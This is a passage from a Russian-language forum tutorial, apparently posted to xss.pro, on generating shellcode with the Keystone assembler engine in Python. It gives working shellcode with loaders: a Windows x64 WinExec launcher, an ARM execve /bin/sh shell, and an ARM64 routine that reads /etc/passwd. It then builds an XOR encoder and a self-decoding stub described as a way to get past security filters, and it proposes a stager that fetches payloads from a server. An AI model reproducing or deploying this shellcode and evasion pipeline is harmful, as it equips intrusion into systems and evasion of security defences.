"xor rcx, rcx ;"
"mul rcx ;" # RAX & RDX & RCX = 0x0
# calc.exe | String length : 8
"push rax ;" # Null terminate string on stack
"mov rax, 0x9A879AD19C939E9C ;" # not 0x9A879AD19C939E9C = "calc.exe"
"not rax ;"
# mov rax, 0x6578652e636c6163 ;" # exe.clac : 6578652e636c6163
"push rax ;" # RSP = "calc.exe",0x0
"mov rcx, rsp ;" # RCX = "calc.exe",0x0
"inc rdx ;" # RDX = 0x1 = SW_SHOWNORMAL
"sub rsp, 0x20 ;" # WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
"call r14 ;" # Call WinExec("calc.exe", SW_HIDE)
)
original_sc = r"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6"
try:
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(SHELLCODE_SRC)
hex_str = "".join(f"\\x{opcode:02x}" for opcode in encoding)
print("bytecode:", f'"{hex_str}"')
print("\n")
print("original:", f'"{original_sc}"');
print(original_sc == hex_str)
except KsError as e:
print("ERROR: %s" %e)
Тут у нас кроме меток, так же присутствует инструкция короткого перехода jmp short к метке apis. Keystone-Engine не поддерживает короткие переходы, а в место он этого сам подсчитывает смещение до нужного участка кода, поэтому тут мы заменили короткий переход на обычный, используя jmp apis.
По результату можем видеть, что несмотря на то, что мы заменили инструкцию короткого перехода, keystone всё равно отранслировал и подсчитал смещение, а отранслированные инструкции идентичны оригинальному байт-коду шелл-кода.
arm
Теперь арм ....Linux/ARM - execve("/bin/sh","/bin/sh",0) - 30 bytes
C:
/*
Title: Linux/ARM - execve("/bin/sh","/bin/sh",0) - 30 bytes
Date: 2010-06-28
Tested: ARM926EJ-S rev 5 (v5l)
Author: Jonathan Salwan
Web: http://shell-storm.org | http://twitter.com/jonathansalwan
! Database of shellcodes http://www.shell-storm.org/shellcode/
8054: e28f3001 add r3, pc, #1 ; 0x1
8058: e12fff13 bx r3
805c: 4678 mov r0, pc
805e: 300a adds r0, #10
8060: 9001 str r0, [sp, #4]
8062: a901 add r1, sp, #4
8064: 1a92 subs r2, r2, r2
8066: 270b movs r7, #11
8068: df01 svc 1
806a: 2f2f cmp r7, #47
806c: 6962 ldr r2, [r4, #20]
806e: 2f6e cmp r7, #110
8070: 6873 ldr r3, [r6, #4]
*/
#include <stdio.h>
char *SC = "\x01\x30\x8f\xe2"
"\x13\xff\x2f\xe1"
"\x78\x46\x0a\x30"
"\x01\x90\x01\xa9"
"\x92\x1a\x0b\x27"
"\x01\xdf\x2f\x2f"
"\x62\x69\x6e\x2f"
"\x73\x68";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
return 0;
}
Тут не много сложнее ... Так, как представленный ассемблерный код работает в двух режимах: ".ARM", ".THUMB"; видно это по следующему признаку, размер первых двух инструкций по 4 байта, далее идут двух-байтовые инструкции и поэтому оттранслировать ассемблерный код с одного захода не получится...
Эта проблема решается следующим образом, для начала разобьем ассемблерный листинг на две части, а затем напишем функцию, которая будет принимать два аргумента. Первый аргумент будет принимать ассемблерный листинг, а второй менять режим с KS_MODE_ARM на KS_MODE_THUMB. А значение архитектуры KS_ARCH_ARM остаётся константным и не меняется. Эта функция будет вызываться два раза, так, как мы обработаем сначала листинг №1, а затем листинг №2, далее полученный результат при первом вызове сохраним и объединим со вторым (конкатенация строк), и таким образом получим полную цепочку байтов для данного шелл-кода. Вот код функции.
Python:
def asm_translator(code, mode):
ks = Ks(KS_ARCH_ARM, mode)
encoding, count = ks.asm(code)
return encoding
Так же обратите внимание на переменную count в этой функции, что она не используется вместе с оператором return, а возвращается только значение переменной encoding. Делается это по той причине, что метод asm() объекта ks, возвращает кортеж вида ([65, 74], 2). Поэтому если бы мы использовали одну переменную в строке encoding = ks.asm(code) в место двух, она бы содержала такой кортеж, а это не совсем удобно, тогда бы мы использовали return encoding[0] - для возврата опкодов и return encoding[1] - для возврата количества инструкций. Но это всё мелочи... Собсвенно ниже представлен полный код, позволяющий сгенерировать шелл-код.
Python:
from keystone import *
def asm_translator(code, mode):
ks = Ks(KS_ARCH_ARM, mode)
encoding, count = ks.asm(code)
return encoding
# Режим .ARM
# test_ks(KS_ARCH_ARM, KS_MODE_ARM, "sub r1, r2, r5", 0);
SHELLCODE_SRC1 = (
"add r3, pc, #1;" # "\x01\x30\x8f\xe2"
"bx r3;" # "\x13\xff\x2f\xe1"
)
# Режим .Thumb
# test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "movs r4, #0xf0", 0);
SHELLCODE_SRC2 = (
"mov r0, pc;" # "\x78\x46"
"adds r0, #10;" # "\x0a\x30"
"str r0, [sp, #4];" # "\x01\x90"
"add r1, sp, #4;" # "\x01\xa9"
"subs r2, r2, r2;" # "\x92\x1a"
"movs r7, #11;" # "\x0b\x27"
"svc 1;" # "\x01\xdf"
"cmp r7, #47;" # "\x2f\x2f"
"ldr r2, [r4, #20];" # "\x62\x69"
"cmp r7, #110;" # "\x6e\x2f"
"ldr r3, [r6, #4];" # "\x73\x68"
)
original_sc = r"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0a\x30\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
arm_encoding = asm_translator(SHELLCODE_SRC1, KS_MODE_ARM)
hex_str = "".join(f"\\x{opcode:02x}" for opcode in arm_encoding)
thumb_encoding = asm_translator(SHELLCODE_SRC2, KS_MODE_THUMB)
hex_str += "".join(f"\\x{opcode:02x}" for opcode in thumb_encoding)
print("bytecode:", f'"{hex_str}"')
print("original:", f'"{original_sc}"');
print(original_sc == hex_str)
результат
arm64
Теперь арм64Linux/ARM64 - Read /etc/passwd Shellcode (120 Bytes)
C:
/*
# Title: Linux/ARM64 - Read /etc/passwd Shellcode (120 Bytes)
# Date: 2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c
ubuntu@ubuntu:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu Xenial Xerus (development branch)
Release: 16.04
Codename: xenial
ubuntu@ubuntu:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
ubuntu@ubuntu:~/works$ cat passwd.s
.section .text
.global _start
_start:
// fd = openat(0, "/etc/passwd", O_RDONLY)
mov x0, xzr
mov x1, #0x7773
movk x1, #0x64, lsl #16
str x1, [sp, #-8]!
mov x1, #0x652f
movk x1, #0x6374, lsl #16
movk x1, #0x702f, lsl #32
movk x1, #0x7361, lsl #48
str x1, [sp, #-8]!
add x1, sp, x0
mov x2, xzr
mov x8, #56
svc #0x1337
mvn x3, x0
// read(fd, *buf, size)
mov x2, #0xfff
sub sp, sp, x2
mov x8, xzr
add x1, sp, x8
mov x8, #63
svc #0x1337
// write(1, *buf, size)
str x0, [sp, #-8]!
lsr x0, x2, #11
ldr x2, [sp], #8
mov x8, #64
svc #0x1337
// status = close(fd)
mvn x0, x3
mov x8, #57
svc #0x1337
// exit(status)
mov x8, #93
svc #0x1337
ubuntu@ubuntu:~/works$ as -o passwd.o passwd.s && ld -o passwd passwd.o
ubuntu@ubuntu:~/works$ objdump -d ./passwd
./passwd: file format elf64-littleaarch64
Disassembly of section .text:
0000000000400078 <_start>:
400078: aa1f03e0 mov x0, xzr
40007c: d28eee61 mov x1, #0x7773 // #30579
400080: f2a00c81 movk x1, #0x64, lsl #16
400084: f81f8fe1 str x1, [sp,#-8]!
400088: d28ca5e1 mov x1, #0x652f // #25903
40008c: f2ac6e81 movk x1, #0x6374, lsl #16
400090: f2ce05e1 movk x1, #0x702f, lsl #32
400094: f2ee6c21 movk x1, #0x7361, lsl #48
400098: f81f8fe1 str x1, [sp,#-8]!
40009c: 8b2063e1 add x1, sp, x0
4000a0: aa1f03e2 mov x2, xzr
4000a4: d2800708 mov x8, #0x38 // #56
4000a8: d40266e1 svc #0x1337
4000ac: aa2003e3 mvn x3, x0
4000b0: d281ffe2 mov x2, #0xfff // #4095
4000b4: cb2263ff sub sp, sp, x2
4000b8: aa1f03e8 mov x8, xzr
4000bc: 8b2863e1 add x1, sp, x8
4000c0: d28007e8 mov x8, #0x3f // #63
4000c4: d40266e1 svc #0x1337
4000c8: f81f8fe0 str x0, [sp,#-8]!
4000cc: d34bfc40 lsr x0, x2, #11
4000d0: f84087e2 ldr x2, [sp],#8
4000d4: d2800808 mov x8, #0x40 // #64
4000d8: d40266e1 svc #0x1337
4000dc: aa2303e0 mvn x0, x3
4000e0: d2800728 mov x8, #0x39 // #57
4000e4: d40266e1 svc #0x1337
4000e8: d2800ba8 mov x8, #0x5d // #93
4000ec: d40266e1 svc #0x1337
ubuntu@ubuntu:~/works$ objcopy -O binary passwd passwd.bin
ubuntu@ubuntu:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' passwd.bin && echo
\xe0\x03\x1f\xaa\x61\xee\x8e\xd2\x81\x0c\xa0\xf2\xe1\x8f\x1f\xf8\xe1\xa5\x8c\xd2\x81\x6e\xac\xf2\xe1\x05\xce\xf2\x21\x6c\xee\xf2\xe1\x8f\x1f\xf8\xe1\x63\x20\x8b\xe2\x03\x1f\xaa\x08\x07\x80\xd2\xe1\x66\x02\xd4\xe3\x03\x20\xaa\xe2\xff\x81\xd2\xff\x63\x22\xcb\xe8\x03\x1f\xaa\xe1\x63\x28\x8b\xe8\x07\x80\xd2\xe1\x66\x02\xd4\xe0\x8f\x1f\xf8\x40\xfc\x4b\xd3\xe2\x87\x40\xf8\x08\x08\x80\xd2\xe1\x66\x02\xd4\xe0\x03\x23\xaa\x28\x07\x80\xd2\xe1\x66\x02\xd4\xa8\x0b\x80\xd2\xe1\x66\x02\xd4
*/
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] =
"\xe0\x03\x1f\xaa\x61\xee\x8e\xd2\x81\x0c\xa0\xf2\xe1\x8f\x1f\xf8"
"\xe1\xa5\x8c\xd2\x81\x6e\xac\xf2\xe1\x05\xce\xf2\x21\x6c\xee\xf2"
"\xe1\x8f\x1f\xf8\xe1\x63\x20\x8b\xe2\x03\x1f\xaa\x08\x07\x80\xd2"
"\xe1\x66\x02\xd4\xe3\x03\x20\xaa\xe2\xff\x81\xd2\xff\x63\x22\xcb"
"\xe8\x03\x1f\xaa\xe1\x63\x28\x8b\xe8\x07\x80\xd2\xe1\x66\x02\xd4"
"\xe0\x8f\x1f\xf8\x40\xfc\x4b\xd3\xe2\x87\x40\xf8\x08\x08\x80\xd2"
"\xe1\x66\x02\xd4\xe0\x03\x23\xaa\x28\x07\x80\xd2\xe1\x66\x02\xd4"
"\xa8\x0b\x80\xd2\xe1\x66\x02\xd4";
int main(int argc, char **argv) {
printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;
sc();
return 0;
}
Переносим указывая KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN
Python:
from keystone import *
SHELLCODE_SRC = (
"mov x0, xzr ;" # "\xe0\x03\x1f\xaa"
"mov x1, #0x7773 ;" # "\x61\xee\x8e\xd2"
"movk x1, #0x64, lsl #16 ;" # "\x81\x0c\xa0\xf2"
"str x1, [sp, #-8]! ;" # "\xe1\x8f\x1f\xf8"
"mov x1, #0x652f ;" # "\xe1\xa5\x8c\xd2"
"movk x1, #0x6374, lsl #16 ;" # "\x81\x6e\xac\xf2"
"movk x1, #0x702f, lsl #32 ;" # "\xe1\x05\xce\xf2"
"movk x1, #0x7361, lsl #48 ;" # "\x21\x6c\xee\xf2"
"str x1, [sp, #-8]! ;" # "\xe1\x8f\x1f\xf8"
"add x1, sp, x0 ;" # "\xe1\x63\x20\x8b"
"mov x2, xzr ;" # "\xe2\x03\x1f\xaa"
"mov x8, #56 ;" # "\x08\x07\x80\xd2"
"svc #0x1337 ;" # "\xe1\x66\x02\xd4"
"mvn x3, x0 ;" # "\xe3\x03\x20\xaa"
#// read(fd, *buf, size)
"mov x2, #0xfff ;" # "\xe2\xff\x81\xd2"
"sub sp, sp, x2 ;" # "\xff\x63\x22\xcb"
"mov x8, xzr ;" # "\xe8\x03\x1f\xaa"
"add x1, sp, x8 ;" # "\xe1\x63\x28\x8b"
"mov x8, #63 ;" # "\xe8\x07\x80\xd2"
"svc #0x1337 ;" # "\xe1\x66\x02\xd4"
#// write(1, *buf, size)
"str x0, [sp, #-8]! ;" # "\xe0\x8f\x1f\xf8"
"lsr x0, x2, #11 ;" # "\x40\xfc\x4b\xd3"
"ldr x2, [sp], #8 ;" # "\xe2\x87\x40\xf8"
"mov x8, #64 ;" # "\x08\x08\x80\xd2"
"svc #0x1337 ;" # "\xe1\x66\x02\xd4"
#// status = close(fd)
"mvn x0, x3 ;" # "\xe0\x03\x23\xaa"
"mov x8, #57 ;" # "\x28\x07\x80\xd2"
"svc #0x1337 ;" # "\xe1\x66\x02\xd4"
#// exit(status)
"mov x8, #93 ;" # "\xa8\x0b\x80\xd2"
"svc #0x1337 ;" # "\xe1\x66\x02\xd4"
)
original_sc = r"\xe0\x03\x1f\xaa\x61\xee\x8e\xd2\x81\x0c\xa0\xf2\xe1\x8f\x1f\xf8\xe1\xa5\x8c\xd2\x81\x6e\xac\xf2\xe1\x05\xce\xf2\x21\x6c\xee\xf2\xe1\x8f\x1f\xf8\xe1\x63\x20\x8b\xe2\x03\x1f\xaa\x08\x07\x80\xd2\xe1\x66\x02\xd4\xe3\x03\x20\xaa\xe2\xff\x81\xd2\xff\x63\x22\xcb\xe8\x03\x1f\xaa\xe1\x63\x28\x8b\xe8\x07\x80\xd2\xe1\x66\x02\xd4\xe0\x8f\x1f\xf8\x40\xfc\x4b\xd3\xe2\x87\x40\xf8\x08\x08\x80\xd2\xe1\x66\x02\xd4\xe0\x03\x23\xaa\x28\x07\x80\xd2\xe1\x66\x02\xd4\xa8\x0b\x80\xd2\xe1\x66\x02\xd4"
try:
ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
encoding, count = ks.asm(SHELLCODE_SRC)
hex_str = "".join(f"\\x{opcode:02x}" for opcode in encoding)
print("bytecode:", f'"{hex_str}"')
print("\n")
print("original:", f'"{original_sc}"');
print(original_sc == hex_str)
except KsError as e:
print("ERROR: %s" %e)
Результат
Как показал тест, процесс переноса ассемблерного кода для x86, x64, arm и arm64 в keystone-engine очень простой. При чем, мы не получили не каких "невалидных" опкодов т.е. ошибок. Все оттранслированные ассемблерные листинги были точно сконвертированы в байт-код, который идентичен оригинальному байт-коду. И как вы уже заметили, генерация шелл-кода c keystone-engine становится очень простой. В принципе уже на этом этапе можно делать крутые вещи, а именно сделать стейджер, который загружает с сервера сгенерированный шелл-код и исполняет его в памяти на лету, при этом шелл-код будет декодировать сам себя в памяти. Поэтому давайте реализуем самую интересную часть, а именно энкодер и декодер и посмотрим, как с этим справится keystone-egine, чтобы еще раз продемонстрировать его возможности.
Энкодеры и декодеры
Собственно в контексте шелл-кода, под энкодером и декодером обычно подразумевают две взаимосвязанные части. Энкодер это небольшая утилита или скрипт, который берет шелл-код и преобразует его в закодированную форму. Целью энкодера обычно является преобразование байтов шелл-кода таким образом, чтобы в конечном итоге эти байты смогли обойти фильтры безопасности. Декодер же наоборот, берет эти закодированные байты и преобразует их обратно в исходную форму. По сути декодер это еще один шелл-код, который расшифровывает основую боевую нагрузку в памяти и затем выполняет её.С помощью Keystone-Engine тоже можно генерировать (транслировать) стаб-декодеры, вот только при попытке использовать такие директивы как: db, dw, dd, dq вы получите ошибку. Keystone-Engine не позволяет из коробки транслировать ассемблерные листинги в которых есть такие директивы. Но использовать их можно, если подключить синтаксис NASM. С этим синтаксисом есть еще один нюанс, когда мы его подключаем, точка с запятой становится не разделителем инструкциий, а привычным для нас способом оставить комментарий в коде. Поэтому для разделения инструкций нужно будет использовать символ новой строки - "\n". Тогда такой код будет работать.
Код:
"xor eax, eax \n"
"my_vals: "
"db 0x41 \n"
"db 0x42 \n"
"db 0x43 "
Но если вам всё же не нравится этот способ разделения инструкций и символ новый строки вам мазолит глаза, тогда можно воспользоваться средствами самого языка python и использовать докстринги т.е.трёхкавычечные строковые литералы, которые позволяют хранить текст с переносами строк.
Python:
var = """ dsadas """
var = f""" dsadas """
Вот пример кода с подключенным NASM синтаксисом и директивами: db, dw, dd, dq.
Python:
from keystone import *
def asm_translator(asm_src):
ks = Ks(KS_ARCH_X86, KS_MODE_32)
ks.syntax = KS_OPT_SYNTAX_NASM
encoding, count = ks.asm(asm_src)
return encoding
ASM_SRC = """
; i am comment
; i am comment
; i am comment
; i am comment
vals_word:
dw 0x0001 ; i am comment
dw 1234
dw -1
vals_dword_:
dd 0x11223344
dd 42
dd vals_word
vals_qword:
dq 0x0102030405060708
mix_vals:
db 0x41
dw 0x4142
dd 0x43444546
dq 0x4748494A4B4C4D4E
"""
bytecode = asm_translator(ASM_SRC)
result = "".join(f"\\x{byte:02x}" for byte in bytecode)
print("bytes: ", result)
Но, как я и говорил ранеее, лучше всего переносить код построчно, и только потом, когда вы уже уверены в правильной трансляции, можно будет использовать такой формат.
И так... Теперь когда у нас есть необходимые познания как работать с keystone-engine более тесно, можно приступать к портированию своего первого стаб-декодера. На данном этапе нам совершенно не важно на сколько "уникальным" будет энкодер и декодер. Подойдет даже обычное xor шифрование, ведь основная цель на сегодня у нас это познакомиться с Keystone-Engine в контексте генерации шелл-кода и как это можно применить в своих проектах. Вот только разработка собственного энкодера и декодера дело интимное, поэтому давайте возьмем какой-нибудь уже готовый энкодер\декодер, который зашифрует\дешифрует наш шелл-код.
Ниже представлен код декодера
Код:
global _start
section .text
_start:
jmp short call_shellcode ; using the jump, call and pop method to get into our shellcode
decoder:
pop rsi ; get the address of EncodedShellcode into rsi
decode:
mov bl, byte [rsi] ; moving current byte from shellcode string
xor bl, 0xff ; checking if we are done decoding and should
; jump directly to our shell code
jz EncodedShellcode ; if the current value being evaluated is 0xff
; then we are at the end of the string
mov byte [rsi], bl ; a by product of the xor is that we get the difference
; between 0xff and the current encoded byte being evaluated
; which is infact the actual instruction value to execute!
inc rsi ; move to next byte to be evaluated in our shellcode
jmp short decode ; run through decode again
call_shellcode:
call decoder ; call our decoder routine
; this is our encoded shell string
EncodedShellcode: db "тут будет поксоренный шелл-код" ,0xff
Теперь возьмем этот декодер без шелл-кода и скомпилируем его в Linux, чтобы получить байты и затем их сравним с байтами из декодера в keystone-egine. А место шелл-кода подставим четыре байта 0x41 для наглядности (будто бы это шелл-код).
Код:
nasm -f elf64 -o decoder.o decoder.asm
ld -o decoder decoder.o
objdump -d ./decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
Получили последовательность байтов....
Код:
"\xeb\x0f\x5e\x8a\x1e\x80\xf3\xff\x74\x0c\x88\x1e\x48\xff\xc6\xeb\xf2\xe8\xec\xff\xff\xff\x41\x41\x41\x41\xff"
Теперь эту строку мы сравним с оттранслированным декодером в keystone
Python:
from keystone import *
def asm_translator(asm_src):
ks = Ks(KS_ARCH_X86, KS_MODE_64)
ks.syntax = KS_OPT_SYNTAX_NASM
encoding, count = ks.asm(asm_src)
return encoding
DECODER_SRC = """
_start:
jmp call_shellcode ; using the jump, call and pop method to get into our shellcode
decoder:
pop rsi ; get the address of EncodedShellcode into rsi
decode:
mov bl, byte [rsi] ; moving current byte from shellcode string
xor bl, 0xff ; checking if we are done decoding and should
; jump directly to our shell code
jz EncodedShellcode ; if the current value being evaluated is 0xff
; then we are at the end of the string
mov byte [rsi], bl ; a by product of the xor is that we get the difference
; between 0xff and the current encoded byte being evaluated
; which is infact the actual instruction value to execute!
inc rsi ; move to next byte to be evaluated in our shellcode
jmp decode ; run through decode again
call_shellcode:
call decoder ; call our decoder routine
; this is our encoded shell string
EncodedShellcode:
db 0x41, 0x41, 0x41, 0x41 ,0xff
"""
original_sc = r"\xeb\x0f\x5e\x8a\x1e\x80\xf3\xff\x74\x0c\x88\x1e\x48\xff\xc6\xeb\xf2\xe8\xec\xff\xff\xff\x41\x41\x41\x41\xff"
decoder = asm_translator(DECODER_SRC)
result = "".join(f"\\x{byte:02x}" for byte in decoder)
print("bytecode:", f'"{result}"')
print("original:", f'"{original_sc}"');
print(original_sc == result)
результат
Отлично байты одинаковые.... теперь объединим все части в один конвеер.
Схема у нас будет такая.
1. Транслируем ассемблерный листинг шелл-кода, чтобы получить байт-код (исходный шелл-код)
2. Полученный шел-код шифруем с помощью энкодера
3. Передаем результат работы энкодера в листинг декодера
4. Транслируем ассемблерный листинг декодера
5. На выходе получаем закодированный шелл-код, который сам себя декодирует
Ниже представлен полный код (так же я убрал комментарии из кода, чтобы они не мусолили глаза)
Python:
from keystone import *
def asm_translator(asm_src):
ks = Ks(KS_ARCH_X86, KS_MODE_64)
ks.syntax = KS_OPT_SYNTAX_NASM
encoding, count = ks.asm(asm_src)
return encoding
SHELLCODE_SRC = f"""
_start:
push rax
xor rdx, rdx
xor rsi, rsi
movabs rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 0x3b
syscall
"""
shellcode = asm_translator(SHELLCODE_SRC)
random_key = 0xFF
# random_key = random.randint(0x01, 0xFF)
encrypted_shellcode = [hex(random_key ^ byte) for byte in shellcode]
encrypted_shellcode.append(hex(random_key))
DECODER_SRC = f"""
_start:
jmp call_shellcode
decoder:
pop rsi
decode:
mov bl, byte [rsi]
xor bl, {hex(random_key)}
jz EncodedShellcode
mov byte [rsi], bl
inc rsi
jmp decode
call_shellcode:
call decoder
EncodedShellcode:
db {', '.join(encrypted_shellcode)}
"""
decoder = asm_translator(DECODER_SRC)
result = "".join(f"\\x{byte:02x}" for byte in decoder)
print("decoder:", f'"{result}"')
результат
А теперь самое главное, протестируем этот код.
C:
#include <stdio.h>
#include <string.h>
int main(void)
{
unsigned char code[] = "\xeb\x0f\x5e\x8a\x1e\x80\xf3\xff\x74\x0c\x88\x1e\x48\xff\xc6\xeb\xf2\xe8\xec\xff\xff\xff\xaf\xb7\xce\x2d\xb7\xce\x09\xb7\x44\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\xac\xab\xa0\x4f\xc4\xf0\xfa\xff";
printf("Shellcode length: %ld\n", strlen(code));
void (*s)() = (void *)code;
s();
return 0;
}
Компилируем
Код:
gcc -fno-stack-protector -z execstack test_decoder.c -o shell
Запускаем
Бум, победа! На этом всё... Пишите в комментариях, что вы думаете о таком подходе к построению таких автоматизированных, умных, таргетированых боевых нагрузок. Конечно многое осталось за кадром, но всё же....
Автор: weaver
Написано специально для xss.pro (c)